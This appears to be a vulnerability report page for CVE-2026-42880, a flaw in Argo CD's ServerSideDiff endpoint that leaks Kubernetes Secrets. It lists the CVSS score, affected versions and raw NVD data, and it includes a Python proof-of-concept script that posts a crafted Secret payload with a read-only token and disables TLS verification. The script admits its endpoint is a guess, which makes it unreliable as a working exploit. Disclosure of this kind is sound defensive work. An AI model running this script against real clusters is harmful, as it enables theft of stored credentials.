Security Vulnerability Report
中文
CVE-2026-42880 CVSS 9.6 CRITICAL

CVE-2026-42880

Published: 2026-05-07 23:16:32
Last Modified: 2026-05-11 17:46:18

Description

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:* - VULNERABLE
3.2.0 - 3.2.11
3.3.0 - 3.3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-42880 PoC: Argo CD ServerSideDiff Information Leakage # Attacker needs read-only access to Argo CD TARGET_URL = "https://<argocd-server>/api/v1/applications/<app-name>/resource-diff" # In a real scenario, the specific endpoint might vary based on the exact API implementation of the vulnerable version. headers = { "Authorization": "Bearer <read-only-token>", "Content-Type": "application/json" } # Payload designed to trigger Server-Side Apply dry-run to fetch secrets payload = { "kind": "Secret", "apiVersion": "v1", "metadata": { "name": "target-secret", "namespace": "default" }, "data": { "password": "dummy-value-to-trigger-diff" }, # This option triggers the dry-run mechanism on the server side "options": { "dryRun": ["All"] } } try: response = requests.post(TARGET_URL, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: print("[+] Request successful. Check response for leaked secrets.") print("[+] Response:") print(response.text) # The response is expected to contain the actual secret value from etcd due to the missing masking else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42880", "sourceIdentifier": "[email protected]", "published": "2026-05-07T23:16:32.450", "lastModified": "2026-05-11T17:46:18.257", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-212"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.0", "versionEndExcluding": "3.2.11", "matchCriteriaId": "7D45D78D-37C6-4090-849B-BE4B9F873741"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_cd:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.9", "matchCriteriaId": "8A57863A-48B6-4926-87C7-6FBBE3E30A4B"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}